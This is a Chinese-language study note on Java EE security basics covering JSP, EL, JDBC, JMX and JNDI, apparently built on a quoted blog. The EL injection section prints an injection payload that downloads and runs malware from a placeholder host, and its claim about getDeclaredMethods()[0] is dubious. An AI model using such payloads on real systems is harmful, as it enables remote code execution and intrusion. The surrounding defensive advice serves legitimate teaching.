这个 JSP 页面主要展示了如何使用 JSTL 的 c:out 标签来输出内容。当 Web 容器接收到一个请求并将其转发给这个 JSP 页面时,容器会将 JSP 转换为 Java Servlet 代码,处理请求并生成响应。在这个例子中,响应将包含一个显示计算结果的 HTML 标题。

以下是一个关于 JSP 工作原理的简要说明:

  1. 客户端(如浏览器)向 Web 服务器发送 HTTP 请求。
  2. Web 服务器将请求转发给 JSP 容器(如 Tomcat 或其他支持 JSP 的容器)。
  3. 如果这是请求的 JSP 页面的第一次访问,JSP 容器将 JSP 页面转换为 Java Servlet 代码。
  4. Java Servlet 代码被编译成 Java 字节码(即 .class 文件)。
  5. JSP 容器执行 Servlet 字节码,处理请求并生成动态 HTML 内容。
  6. 动态 HTML 内容被发送回 Web 服务器。
  7. Web 服务器将生成的 HTML 发送给客户端作为 HTTP 响应。

下面是一个示意图,展示了 JSP 的工作原理:

+---------+  HTTP Request   +-----------+  Forward Request   +-------------+
|         +----------------->           +------------------->              |
| Browser |                 | Web Server|                    |JSP Container|
|         <-----------------+           <-------------------+              |
+---------+  HTTP Response  +-----------+   Return Response  +-------------+

c:out 的输出类似于 <%= 的输出,只不过前者是针对表达式,关于表达式在后文中会另外进行介绍。

注意在 Tomcat 或者 Jetty 这种轻量级的容器内使用 JSTL 需要安装对应的依赖,可以参考 JSTL - Stackoverflow 中的相关介绍。

虽然在前后端分离的开发浪潮中 JSP 似乎已经日渐式微,但在网站快速原型开发中 JSP 还占有一席之地,而且许多历史项目也是基于 JSP 进行开发,因此对其了解还是有必要的。”

Java 表达式语言

“上节中我们说到 JSP 的标准中包含了两份文档,一份是 JSP 语言本身的标准,另一份则是表达式语言的标准。Java 表达式语言即 Expression Language,简称为 EL,最初就是为了在 JSTL 中使用便捷的表达式解析而出现的。虽然 JSP 中可以写 Java 代码,但这一方面对不懂 Java 语言的人不太友好,另一方面很多时候我们仅需要在 JSP 中执行比较、循环、加减乘除等简单操作,而引入完整的 Java 引擎显得有点 overkill 了。

在最初的版本中,Java EL 被称为 SPEL(Simplest Possible Expression Language) 或者 JUEL(Java Unified Expression Language),注意不要和 Spring 的 SpEL(Spring Expression Language) 搞混。EL 的语法被设计得和 javascript 类似,比如:

  • 无法强制类型转换,转换过程是隐式的;
  • 单引号和双引号等价;
  • object.propertyobject['property'] 实现的效果基本相同;
  • 抽象属性的类型,object.property 根据属性的类型不同,实际上可能会调用 object.get("property")object.getProperty("property") 或者 object.getProperty() 等;

EL 的标准也经过了多个版本的迭代,在 EL 2.1 版本时,为了综合考虑 JSF 等技术的需要,对 EL 的功能进行了拓展,比如增加了延迟表达式(Deferred expressions),使得表达式不用在 JSP 翻译的过程就被执行;另外提供了 get/set 去获取/修改对象属性的能力,以及方法表达式支持调用 Java 对象的方法。

EL 3.0 中正式将 EL 的标准从 JSP/JSF 的标准中独立出来,编号为 JSR-341。这个版本中在 EL 中增加了类似 Java8 Stream 和 lambda 表达式的功能,几个简单的示例如下:

public class ELTestServlet extends HttpServlet {
    @Override
    public void doGet(HttpServletRequest req, HttpServletResponse res)
            throws ServletException, IOException {
        
        List list = new ArrayList<>();
        list.add(Double.valueOf(1.0));
        list.add(Double.valueOf(2.0));
        list.add(Double.valueOf(3.0));

        ELProcessor elp = new ELProcessor();
        elp.defineBean("data", list);    

        Object message = (Double)elp.eval(
            "n = data.stream().count(); s = data.stream().sum(); sq = data.stream().map(i -> i*i).sum(); Math.sqrt(sq/n - Math.pow(s/n, 2))");
        res.getWriter().println(message);

        message = (Double)elp.eval(
            "n = 0; s = 0; sq = 0; data.stream().forEach(d -> (n = n + 1; s = s + d; sq = sq + d*d)); Math.sqrt(sq/n - Math.pow(s/n, 2))");
        res.getWriter().println(message);

        message = (Double)elp.eval(
            "n = 0; s = 0; sq = data.stream().reduce(0, (a, i) -> (n = n + 1; s = s + i; a + i*i)); Math.sqrt(sq/n - Math.pow(s/n, 2))"); 
        res.getWriter().println(message);
    }
}

目前最新的 EL 标准是 2020 年 4.0 版本,这个版本中将包名从 javax.el 移到了 jakarta.el。除了 Java EE 中定义的 EL 表达式标准和实现,在许多三方库中也实现了类似的表达式语言功能,包括但不限于:

  • OGNL: Object-Graph Navigation Language,一个开源的表达式语言实现,在许多其他项目中被使用,比如 Struts2、Spring Web Flow、MyBatis、FreeMarker 等;
  • MVEL: MVFLEX Expression Language,另一个开源的表达式语言实现,一些知名的 Java 项目使用其作为表达式引擎,比如 JBoss Drools、Hibernate ORM、JIRA 等;
  • SpEL: Spring 框架中使用的表达式语言,除了 Spring 宇宙中的组件,还有其他 Java 项目也是用了该引擎,比如 Thymeleaf、Apache Camel、Apache Sling 等;
  • JEXL: 即 Apache Commons JEXL(Java EXpression Language),参考 Java EL 和 Apache Velocity 实现的一个表达式语言,语法接近于 JavaScript 和 Shell 脚本;

这类表达式语言通常作为模版语言在 Web 页面中使用,如果其中的表达式能够被恶意输入所控制,就可能出现任意代码执行的危害。历史上出现过许多由于 EL 表达式注入导致的远程代码执行,因此这算是 Java 中高危的攻击面之一。”

表达式语言(EL)注入是一种安全漏洞,攻击者可以利用这个漏洞执行恶意代码。以下是一个使用 Java 服务器页面(JSP)技术的示例,其中的 EL 表达式存在安全漏洞,可能导致远程代码执行。

假设我们有一个简单的 JSP 页面,用于显示用户的昵称。页面代码如下:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<!DOCTYPE html>
<html>
<head>
    <title>用户昵称</title>
</head>
<body>
    <h1>欢迎,${nickname}!</h1>
</body>
</html>

在这个例子中,nickname 是一个来自用户输入的字符串。如果开发者没有对用户输入进行适当的过滤和验证,攻击者可能会插入恶意的表达式语言代码。

例如,攻击者可以将 nickname 的值设置为 ${8 * 8}。如果 JSP 引擎没有限制表达式语言的执行,页面将显示“欢迎,64!”,这表明攻击者成功地执行了 EL 代码。

虽然这个例子中的攻击相对无害,但攻击者可能会尝试执行更复杂的代码,从而导致远程代码执行。以下是一个更危险的例子:

攻击者将 nickname 的值设置为 :

${request.getClass().getClassLoader().loadClass('java.lang.Runtime').getDeclaredMethods()[0].invoke(null).exec('curl http://malicious.com/malware -o /tmp/malware && chmod +x /tmp/malware && /tmp/malware')}

在这个例子中,攻击者利用 EL 注入执行了以下操作:

  1. 通过 request.getClass().getClassLoader().loadClass('java.lang.Runtime') 加载 java.lang.Runtime 类。
  2. 使用 getDeclaredMethods()[0] 获取 Runtime 类的第一个方法(通常是 getRuntime())。
  3. 使用 invoke(null) 调用该方法,获取 Runtime 实例。
  4. 使用 exec() 方法执行恶意 shell 命令,从恶意网站下载恶意软件,并在目标服务器上执行。

为了防止 EL 注入攻击,应采取以下安全措施:

  1. 禁用或限制表达式语言的功能。例如,在 JSP 2.0 中,可以通过在 web.xml 文件中添加以下配置来禁用表达式语言:

    <jsp-config>
        <jsp-property-group>
            <url-pattern>*.jsp</url-pattern>
            <el-ignored>true</el-ignored>
        </jsp-property-group>
    </jsp-config>
    
  2. 对用户输入进行验证和过滤。确保只接受预期的值,避免接受潜在的恶意代码。

  3. 使用安全编码库,如 OWASP Java Encoder,对用户输入进行安全的 HTML 编码,以防止恶意代码被执行。

注意,这个示例特定于 Java 服务器页面技术和 EL 注入。类似的漏洞可能存在于其他语言和框架中,因此在处理用户输入和表达式时应始终保持警惕。

JDBC

“在传统 MVC 架构中,将内容呈现的过程分成模型(Model),视图(View),控制器(Controller)三个部分,现在我们已经介绍了控制器部分的 Servlet,视图层的 JSP,为了使得一个网页能够真正有价值,还缺少其中关键的模型部分,即数据来源。

JDBC (Java Database Connectivity) 就是 Java 访问数据库的一个标准。历史上在 JDK 1.1 中 JDBC 就已经是其中的一部分,也就是说 JDBC 本身也是 Java SE 的标准,但也包含在 Java EE 中。其包名可通过 java.sql 或者 javax.sql 进行访问。

JDBC 标准现在由 JCP 维护,主要经过以下几个版本的迭代:

不同版本的 JDBC 主要引进了一些新的特性,比如 JDBC 4.0 支持自动加载数据库驱动,4.1 支持 try-with-resource,大对象(LOB)更新等;主要的框架并没有太大变化。”

JDBC(Java Database Connectivity)是一个 Java API,它提供了一种与关系数据库进行交互的标准方法。JDBC 允许开发者通过 JDBC 驱动程序连接到各种数据库,执行 SQL 语句并处理查询结果。JDBC 是 Java 标准版(Java SE)的一部分,并遵循一套通用的接口和类,使得开发者可以轻松地在不同的数据库之间切换。

以下是 JDBC 的主要组件:

  1. 驱动程序(Driver):JDBC 驱动程序是一个实现了 JDBC 接口的软件库,它允许 Java 应用程序与特定数据库引擎进行通信。大多数数据库提供商都提供了自己的 JDBC 驱动程序。
  2. 连接(Connection):这是一个表示 Java 应用程序与数据库之间的会话的对象。要创建连接,您需要提供数据库的 URL、用户名和密码。连接对象可用于创建用于执行 SQL 语句的 Statement、PreparedStatement 和 CallableStatement 对象。
  3. Statement:Statement 对象用于在数据库上执行静态 SQL 语句。您可以使用 Statement 对象执行 INSERT、UPDATE、DELETE 和 SELECT 语句。
  4. PreparedStatement:与 Statement 类似,PreparedStatement 用于执行预编译的 SQL 语句,可以包含参数占位符。使用 PreparedStatement 可以提高性能并防止 SQL 注入攻击。
  5. CallableStatement:这个对象用于执行存储过程和函数。它提供了设置输入参数和获取输出参数的方法。
  6. ResultSet:表示数据库查询结果集的对象。您可以使用 ResultSet 对象遍历查询结果,并获取每一行的列值。

以下是一个使用 JDBC 连接到 MySQL 数据库并执行简单查询的示例:

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;

public class JdbcExample {
    public static void main(String[] args) {
        String url = "jdbc:mysql://localhost:3306/mydatabase";
        String user = "username";
        String password = "password";

        try {
            // 1. 加载驱动程序
            Class.forName("com.mysql.cj.jdbc.Driver");

            // 2. 建立数据库连接
            Connection connection = DriverManager.getConnection(url, user, password);

            // 3. 创建 Statement 对象
            Statement statement = connection.createStatement();

            // 4. 执行 SQL 查询并获取结果集
            ResultSet resultSet = statement.executeQuery("SELECT * FROM users");

            // 5. 处理结果集
            while (resultSet.next()) {
                int id = resultSet.getInt("id");
                String name = resultSet.getString("name");
                System.out.println("用户 ID: " + id + ", 用户名: " + name);
            }

            // 6. 关闭资源
            resultSet.close();
            statement.close();
            connection.close();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (SQLException e) {
            e.printStackTrace();
        }
    }
}

在实际开发中,为了更好地管理资源和错误处理,通常会使用连接池、事务管理和 ORM 框架(如 Hibernate、MyBatis 等)。总之,JDBC 是 Java 应用程序与关系数据库进行交互的重要 API。通过使用 JDBC,开发者可以编写跨多种数据库的通用代码,简化数据库操作并确保数据的安全性。

“JDBC API 的常见用法如下:

 import java.sql.*;

 public class TestJdbc {
   public static void main(String[] args) throws Exception {
     // Class.forName("com.mysql.jdbc.Driver");

     // 1. Establishing the connection with the database
     Connection conn = DriverManager.getConnection(
       "jdbc:mysql://localhost:3306/mydb?useSSL=false", "root", "rxhtemp");

     // 2. Creating a statement object to execute a query
     Statement stmt = conn.createStatement();

     // 3. Executing the query and getting the ResultSet
     ResultSet rs = stmt.executeQuery("SELECT * FROM user");

     // 4. Processing the ResultSet
     while (rs.next()) {
       int id = rs.getInt("id");
       String name = rs.getString("name");
       System.out.println("ID: " + id + ", Name: " + name);
     }

     // 5. Closing the database resources
     rs.close();
     stmt.close();
     conn.close();
   }
 }

Class.forName 显式导入驱动的方式在新版本已经不需要了,不过这个方式有利于让开发者理解 JDBC 使用的具体数据库驱动,一些例子如下:

  • PostgreSQL : org.postgresql.Driver
  • Oracle : oracle.jdbc.driver.OracleDriver
  • Microsoft SQL Server : com.microsoft.sqlserver.jdbc.SQLServerDriver
  • SQLite : org.sqlite.JDBC
  • H2 : org.h2.Driver
  • Apache Derby : org.apache.derby.jdbc.ClientDriver
  • MariaDB : org.mariadb.jdbc.Driver
  • IBM DB2 : com.ibm.db2.jcc.DB2Driver
  • Informix : com.informix.jdbc.IfxDriver

如果想实现自己的驱动,需要实现 java.sql.Driver 接口,其中一些关键方法有 connectacceptsURL 等。connect 方法中会接受到传入的 URL 以及相关属性(如账号、密码)。

实际上 DriverManager 查询驱动的方式也很简单,即通过循环遍历已注册的驱动 registeredDrivers,然后逐个调用其 driver.connect 方法,如果发现不为空就返回。registeredDrivers 是个列表结构,因此先添加的驱动会优先执行。

另外如果驱动中实现的有问题,且攻击者可以污染传入的 URL 或者 Property,也有可能间接造成代码执行,关于这类攻击可以参考 New Exploit Technique In Java Deserialization Attack。”

这段话中提到的 New Exploit Technique In Java Deserialization Attack 是一个关于 Java 反序列化攻击的研究,提供了关于这类攻击的详细信息。

JMX

“JMX 全称为 Java Management Extensions,即 Java 管理拓展,主要用于管理和监控 Java 程序。常见的监控资源有 CPU 占用率、线程数、JVM 内存等。下面是一些相关标准的定义:

我们常用的 JConsole、VisualVM,以及现在流行的 Spring Boot 框架中的 Spring Boot Actuator 内部都使用了 JMX 拓展,因此对其进行了解有助于我们更好地认识这些应用和框架。”

JMX(Java Management Extensions)是一种 Java 技术,用于监控和管理 Java 应用程序、设备、系统对象和服务。JMX 主要提供了一种标准化的方式来访问、监控和管理 Java 应用程序的运行时状态,包括 Java 虚拟机(JVM)内部的资源使用情况、性能指标和其他系统属性。通过 JMX,开发人员可以为 Java 应用程序提供诊断、性能调优和运维管理等功能。

总之,JMX 技术为 Java 应用程序的监控和管理提供了一种灵活、可扩展的解决方案。通过 JMX,开发人员可以更容易地获取应用程序的运行时信息,进行性能分析和故障排查,从而提高系统的可靠性和稳定性。

JMX 的工作原理可以简要概括为以下几个步骤:

  1. 在 Java 应用程序中,开发人员定义了一系列 MBean(Managed Bean),这些 MBean 封装了应用程序的管理接口,包括属性和操作。
  2. 应用程序中的 JMX Agent 创建并运行 MBean Server,用于存储和管理 MBean。
  3. 将 MBean 注册到 MBean Server 中,使其可供监控和管理。
  4. JMX Agent 使用适配器和连接器(如 RMI、SNMP 等)与外部管理系统进行通信。
  5. 远程客户端(例如 JConsole 或 VisualVM)通过 JMX Connector 连接到 JMX Agent。
  6. 客户端通过远程访问 MBean Server 中的 MBean,获取管理属性和执行操作。

示意图如下:

 +----------------+       +-------------+       +--------------+
 |Java Application|       | JMX Agent   |       | JMX Client   |
 |                |       |             |       |              |
 | +--------------+       | +---------+ |       | +----------+ |
 | | MBean        |<----->| |MBean    | |<----->| | JMX      | |
 | |(Managed Bean)|       | |Server   | |       | |Connector | |
 | +--------------+       | +---------+ |       | +----------+ |
 +----------------+       +-------------+       +--------------+

在这个示意图中,Java 应用程序中定义了 MBean,这些 MBean 被注册到 JMX Agent 的 MBean Server 中。JMX Client 通过 JMX Connector 连接到 JMX Agent,从而可以访问和操作 MBean Server 中的 MBean。这样,开发人员和运维人员可以通过 JMX 客户端远程监控和管理 Java 应用程序。

组件

“JMX 主要包括几个关键组件,下面分别进行介绍。

  • MBean,全称是 Managed Bean,类似于 Java Bean,主要用来进行消息传递。与 Java Bean 的区别是 JMX 中对这些 Bean 进行了额外的定义,兼容 JMX 标准的 MBean 才可以被加载。在 java.lang.management 中定义了许多 JDK 提供的 MBean,包括 Memory、Thread 相关的 MBean,用于传递 JVM 应用的内存和线程相关信息。我们平时使用 jconsole 去分析 Java 应用时所展现的数据大多来源于这些 MBean。

  • MBeanServer,主要用于 MBean 的管理,同名接口定义在 javax.management 中,包含 MBean 创建、注册以及删除等操作相关的接口。一般用户不会直接实现该接口,而是通过 MBeanServerFactory 工厂类去获取 MBeanServer 实例。通常一个 Java 虚拟机中只会有一个 MBeanServer,只有注册到 MBeanServer 中的 MBean 才能被进行管理,即能够被连接到 MBeanServer 的客户端远程访问其属性和相关方法。

  • Connector/Adaptor,这是直接面对客户端的组件,负责具体协议的连接或者转换。在 JMX 标准中提到,RMI Connector 是在 JMX 标准实现中唯一强制实现的协议。RMI (Remove Method Invocation) 是 Java 中的远程调用接口,其具体的传输协议可以不同,常见有以下两种:

    1. JRMP (Java Remote Method Protocol),这是 RMI 的默认传输协议,专为 Java 而开发,因此性能较好;
    2. IIOP (Internet Inter-ORB Protocol),CORBA 标准的一部分,依赖于 CORBA 类库,因此可以实现多语言传输 RMI 远程对象,更适用于跨平台开发;

    除了 RMI Connector,JMX 中还定义了 Generic Connector 即通用连接器的标准。基于上文 JSR 160 提到的 JMX Remote API 来实现可配置和可插拔的连接器,包括传输协议和对象封装等接口。JMXMP,即 JMX Remote API over Message Service Protocol,就是一种通用连接器实现。客户端和服务器之间通过消息进行通信,消息可以是纯文本或二进制格式。JMXMP 支持基于 SSL/TLS 对连接进行加密,同时还有连接池、心跳等功能。

  • Adaptor 称为适配器,和连接器类似,主要将客户端对服务器中 MBean 的操作适配为其他协议,比如 SNMP 或者 HTTP 等。例如,Jolokia 就是一个常用的开源 JMX-HTTP 适配器,可以使远程的 JMX 客户端通过 HTTP/HTTPS 协议访问 JMX MBean。”

示例

 +----------------+       +-------------+       +--------------+
 |Java Application|       | JMX Agent   |       | JMX Client   |
 |                |       |             |       |              |
 | +--------------+       | +---------+ |       | +----------+ |
 | | MBean        |<----->| |MBean    | |<----->| | JMX      | |
 | |(Managed Bean)|       | |Server   | |       | |Connector | |
 | +--------------+       | +---------+ |       | +----------+ |
 +----------------+       +-------------+       +--------------+

“假设我们是某个服务端应用,需要对外暴露一些监控信息,这种情况下就可以自定义一个 MBean 实现。JMX 要求 MBean 首先需要是一个接口,且接口名字以 MBean 结尾,例如:

public interface DemoMBean {
    String getName();
    String getPassword();
    void say(String what);
}

一个具体的 MBean 需要实现上述接口:

class Demo implements DemoMBean {
    @Override
    public String getName() { return "evilpan"; }
    @Override
    public String getPassword() { return "jmxdemo"; }
    @Override
    public void say(String what) {
        System.out.println(getName() + " say: " + what);
    }
}

为了能够被客户端访问,需要将该 MBean 的实例注册到 MBeanServer:

MBeanServer server = ManagementFactory.getPlatformMBeanServer();
ObjectName userName = new ObjectName("com.evilpan:type=Foo,name=bar");
server.registerMBean(new Demo(), userName);

其中 userName 是在 JMX MBean 中显示的名称,上述示例在 jconsole 的 MBeans 中查看有以下结构:

 com.evilpan
 └─ Foo
    └─ bar
       ├─ Attributes
       │  ├─ Password
       │  └─ Name
       └─ Operations
          └─ say

点击 Attributes 中的 NamePassword 会调用对应的 getNamegetPassword 方法来获取信息,而点击 say 可以调用对应 MBean 实例的方法,并指定相关参数。

这里是使用 jconsole attach 本地应用的方式连接 MBeanServer 的,实际应用中可以通过 RMI 协议去让客户端进行远程管理,关键代码如下:”

MBeanServer server = ManagementFactory.getPlatformMBeanServer();
// Register MBean ...
LocateRegistry.createRegistry(7890);
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:7890/jmxrmi");
JMXConnectorServer jcs = JMXConnectorServerFactory.newJMXConnectorServer(url, null, server);
jcs.start();

这段代码是用于创建并启动一个 JMX(Java Management Extensions)服务的示例。以下是代码段的详细解释:

  1. MBeanServer server = ManagementFactory.getPlatformMBeanServer();

    这行代码通过调用 ManagementFactory.getPlatformMBeanServer() 方法获取平台 MBean 服务器的实例。MBean 服务器是 JMX 架构中的核心组件,它用于存储和管理 MBean(Managed Bean)。

  2. // Register MBean ...

    这是一个占位符,表示在此处注册 MBean。实际上,您需要创建一个或多个 MBean,并使用 MBeanServer.registerMBean() 方法将它们注册到 MBean 服务器。

  3. LocateRegistry.createRegistry(7890);

    这行代码创建了一个 RMI(Remote Method Invocation)注册表,用于在给定的端口(这里是端口 7890)上接收远程对象引用。RMI 是一种通信协议,允许在同一 JVM(Java Virtual Machine)内的不同对象之间进行远程方法调用。

  4. JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:7890/jmxrmi");
    

    通过创建一个 JMXServiceURL 实例,指定 JMX 服务的 URL。这里使用 RMI 作为通信协议,URL 的格式为 service:jmx:rmi:///jndi/rmi://localhost:7890/jmxrmi,其中 7890 是 RMI 注册表的端口号。

  5. JMXConnectorServer jcs = JMXConnectorServerFactory.newJMXConnectorServer(url, null, server);
    

    使用 JMXConnectorServerFactory.newJMXConnectorServer() 方法创建一个 JMXConnectorServer 实例。这个实例将允许 JMX 客户端通过指定的服务 URL 连接到 MBean 服务器。在这里,传入的参数包括:服务 URL(url)、环境属性(这里为 null,表示没有特定设置)和 MBean 服务器实例(server)。

  6. jcs.start();

    调用 JMXConnectorServer.start() 方法启动 JMX 连接器服务器。现在,JMX 客户端(如 JConsole 或 VisualVM)可以连接到此 JMX 服务并访问 MBean 服务器中的 MBean。

以下是一个简单的 JMX 客户端示例代码,该代码连接到上面启动的 JMX 服务并获取 MBean 的属性值。为了简化,我们假设已经注册了一个名为 com.example:type=MyMBean 的 MBean,并具有一个名为 Value 的属性。

import javax.management.*;
import javax.management.remote.*;

public class JMXClient {
    public static void main(String[] args) {
        try {
            // 创建 JMX 服务的连接
            JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:7890/jmxrmi");
            JMXConnector jmxc = JMXConnectorFactory.connect(url, null);

            // 获取 MBean 服务器连接
            MBeanServerConnection mbsc = jmxc.getMBeanServerConnection();

            // 构建 MBean 的 ObjectName
            ObjectName mbeanName = new ObjectName("com.example:type=MyMBean");

            // 获取 MBean 的属性值
            Object value = mbsc.getAttribute(mbeanName, "Value");
            System.out.println("Value of the MBean's attribute \"Value\": " + value);

            // 关闭连接
            jmxc.close();
        } catch (IOException | MalformedObjectNameException | AttributeNotFoundException |
                InstanceNotFoundException | MBeanException | ReflectionException e) {
            e.printStackTrace();
        }
    }
}

这个示例代码完成了以下任务:

  1. 创建一个 JMXServiceURL 实例,用于指定要连接的 JMX 服务 URL。这里,我们使用与上述 JMX 服务相同的 URL。
  2. 使用 JMXConnectorFactory.connect() 方法连接到指定的 JMX 服务。这将返回一个 JMXConnector 实例。
  3. 通过调用 JMXConnector.getMBeanServerConnection() 方法获取一个 MBeanServerConnection 实例,用于与 MBean 服务器通信。
  4. 使用 ObjectName 类创建一个对象,表示您要访问的 MBean。在这个例子中,我们使用的是 com.example:type=MyMBean
  5. 调用 MBeanServerConnection.getAttribute() 方法来获取 MBean 的属性值。这里,我们获取名为 Value 的属性。
  6. 打印属性值。
  7. 关闭 JMX 连接。

在实际使用中,需要根据具体的 MBean 和关心的属性来修改代码。

“当然,实际上 Java 本身也提供了内置的 JMX 连接器功能,可以通过命令行启动指定属性去开启,比如:

java -Dcom.sun.management.jmxremote.port=7890 \
  -Dcom.sun.management.jmxremote.authenticate=false \
  -Dcom.sun.management.jmxremote.ssl=false \
  -cp target/classes com.example.demo.BeanTest

和上面自行添加 RMI 监听效果是一样的。 其中 RMI registry 的端口为 7890,JMXServiceURL 路径的结尾可以随意指定,但如果需要用 jconsole来进行连接,则必须使用 /jmxrmi

实际应用中更多使用 -Dcom.sun.management.config.file 指定 JMX 相关的配置

应用启动后也可以通过 nmap 来查看对应端口信息:

$ nmap localhost -p 7890,56097 -sVC
PORT     STATE SERVICE  VERSION
7890/tcp open  java-rmi Java RMI
| rmi-dumpregistry:
|   jmxrmi
|     javax.management.remote.rmi.RMIServerImpl_Stub
|     @127.0.0.1:56097
|     extends
|       java.rmi.server.RemoteStub
|       extends
|_        java.rmi.server.RemoteObject
56097/tcp open  java-rmi Java RMI

“上面监听的 56097 端口是实际的 JMX-RMI Connector 监听端口,被注册为 RMI Nameing Registry 中的 jmxrmi 名称。

这段 nmap 输出显示了针对本地主机(localhost)进行的端口扫描结果,扫描的端口为 7890 和 56097。扫描使用了 -sVC 选项,表示使用服务版本检测。以下是输出的解释:

PORT     STATE SERVICE  VERSION
7890/tcp open  java-rmi Java RMI

端口 7890 处于打开状态(open),运行的服务是 Java RMI(远程方法调用)。

| rmi-dumpregistry:
|   jmxrmi
|     javax.management.remote.rmi.RMIServerImpl_Stub
|     @127.0.0.1:56097
|     extends
|       java.rmi.server.RemoteStub
|       extends
|_        java.rmi.server.RemoteObject

这部分输出显示了 RMI 注册表的详细信息。在端口 7890 上找到了一个名为 jmxrmi 的 RMI 对象,它是 javax.management.remote.rmi.RMIServerImpl_Stub 类的实例。此 RMI 对象表示远程管理的 JMX(Java Management Extensions)服务。

它使用 IP 地址 127.0.0.1 和端口 56097 进行通信。此外,RMIServerImpl_Stub 类继承了 java.rmi.server.RemoteStub 类,后者又继承了 java.rmi.server.RemoteObject 类。

56097/tcp open  java-rmi Java RMI

端口 56097 处于打开状态(open),运行的服务也是 Java RMI(远程方法调用)。

综上所述,这个 nmap 输出表明在本地主机上有一个打开的 JMX RMI 服务,它使用端口 7890 和 56097。这些信息对于了解本地主机上运行的服务、端口以及潜在的安全风险非常有用。

从上面的介绍中可以看出,JMX 在 Java 应用管理和监控中的作用很大,但同时也暴露了很大的风险,如果服务端的 JMX 管理端口能被攻击者访问,就可能泄露敏感数据,或者被调用任意的 MBean 方法从而导致代码执行等危害。另外由于 RMI 是 JMX 默认的连接器,因此历史上也出现过许多针对 RMI 的攻击和反序列化漏洞,这里就先不展开了,其中相关的利用技巧和深入介绍可以参考下面的文章:

后记

“写到这里,可以说对 Java 安全有了一个比较基本的了解。Java 生态历经了几十年的发展,直到今天依旧在企业级服务端应用中占有半壁江山。从文中可以看到 Java 一直致力于提供高可用、可拓展的标准,有一些标准由于设计复杂接受度不高(如 EJB),但也有很多标准从初稿到现在依然是主流(如 JNDI、JMX)。文中所介绍的几个功能应该算是 Java 初学者最先接触的技术,虽然只是冰山一角,但通过对这些技术的学习可以让我们管窥 Java EE 的全貌,也为后续针对性的研究打好基础。 ”

JNDI的介绍可以阅读大佬的另一篇博客:JNDI 注入漏洞的前世今生 - evilpan

在此再简单介绍一下,Java Naming and Directory Interface(JNDI)是 Java 平台的一部分,提供了一种用于查找和访问远程对象、服务和资源的统一接口。JNDI 将这些对象映射到一个命名系统,类似于文件系统或 DNS。JNDI 的主要用途是在分布式应用程序中解耦客户端和服务器组件,使它们可以在运行时轻松地查找和互相引用。

以下是 JNDI 技术的一些示例用途:

  1. 查找远程对象:在分布式应用程序中,一个对象可能需要引用在另一个 JVM(Java 虚拟机)中运行的对象。JNDI 可以帮助查找这些远程对象,而无需硬编码它们的位置和引用。
  2. 查找数据源:在企业应用程序中,数据库连接通常由应用服务器管理。JNDI 可以帮助应用程序轻松查找这些数据源,而无需硬编码数据库连接信息。
  3. 查找 EJB(Enterprise JavaBeans):在 Java EE 环境中,EJB 组件被部署到应用服务器中。客户端可以使用 JNDI 查找这些 EJB 组件并与之通信。

以下是一个简单的 JNDI 示例,演示了如何在 Java 应用程序中查找和使用远程对象:

  1. 创建远程接口:首先,我们需要创建一个远程接口,它将定义我们要查找的远程对象的方法。这个接口必须扩展 java.rmi.Remote 接口。
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface MyRemoteService extends Remote {
    String sayHello() throws RemoteException;
}
  1. 实现远程接口:接下来,我们需要实现这个远程接口,并将实现类扩展为 java.rmi.server.UnicastRemoteObject
import java.rmi.server.UnicastRemoteObject;
import java.rmi.RemoteException;

public class MyRemoteServiceImpl extends UnicastRemoteObject implements MyRemoteService {
    protected MyRemoteServiceImpl() throws RemoteException {
        super();
    }

    @Override
    public String sayHello() throws RemoteException {
        return "Hello from MyRemoteServiceImpl!";
    }
}
  1. 注册远程对象:现在,我们需要在 RMI 注册表中注册这个远程对象,以便客户端能够通过 JNDI 查找它。
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class MyRemoteServer {
    public static void main(String[] args) {
        try {
            MyRemoteService service = new MyRemoteServiceImpl();
            Registry registry = LocateRegistry.createRegistry(1099);
            registry.bind("MyRemoteService", service);
            System.out.println("MyRemoteService is ready.");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
  1. 查找和使用远程对象:最后,客户端可以使用 JNDI 查找这个远程对象,并调用它的方法。
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class MyRemoteClient {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.getRegistry("localhost", 1099);
            MyRemoteService service = (MyRemoteService) registry.lookup("MyRemoteService");
            String result = service.sayHello();
            System.out.println("Result from remote service: " + result);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

在这个示例中,我们首先创建了一个名为 MyRemoteService 的远程接口,然后创建了一个实现该接口的类 MyRemoteServiceImpl。接着,我们在 RMI 注册表中注册了这个远程对象。最后,客户端使用 JNDI 查找这个远程对象,并调用它的 sayHello() 方法。

总之,JNDI(Java Naming and Directory Interface)是一个 Java API,为开发人员提供了一种统一的接口,用于在分布式系统中查找和访问远程对象、服务和资源。JNDI 的工作原理基于以下几个关键概念:

  1. 命名空间(Naming Space):JNDI 使用树形结构的命名空间来存储和组织对象的引用。这些引用通常使用类似于文件系统路径的名称表示,例如 java:comp/env/jdbc/MyDataSource
  2. 上下文(Context):上下文是 JNDI 命名空间中的一个节点,它包含了一组名称到对象的映射。上下文可以包含其他上下文,形成一个层次结构。
  3. 服务提供者(Service Provider):JNDI 不直接与底层命名和目录服务交互,而是通过服务提供者接口(SPI)与之通信。服务提供者负责实现 JNDI API 与特定命名和目录服务(如 LDAP、DNS、RMI )之间的适配。

下面是一个 JNDI 工作原理的示意图:

 +---------------------+       +----------------------+
 |    JNDI Client      |       |  JNDI Service        |
 |                     |       |   Provider (SPI)     |
 +---------------------+       +----------------------+
 |  InitialContext     |<----->|    LDAP Provider     |
 |  Context            |       |    DNS Provider      |
 |  NamingEnumeration  |       |    RMI Provider      |
 +---------------------+       +----------------------+

当客户端需要查找或访问远程对象时,它首先创建一个 InitialContext 对象,这个对象包含了与特定服务提供者的连接信息。然后,客户端可以使用 lookup()bind() 等方法与命名空间进行交互。这些方法的调用会被传递给相应的服务提供者,服务提供者负责实现这些方法并与底层的命名和目录服务进行通信。

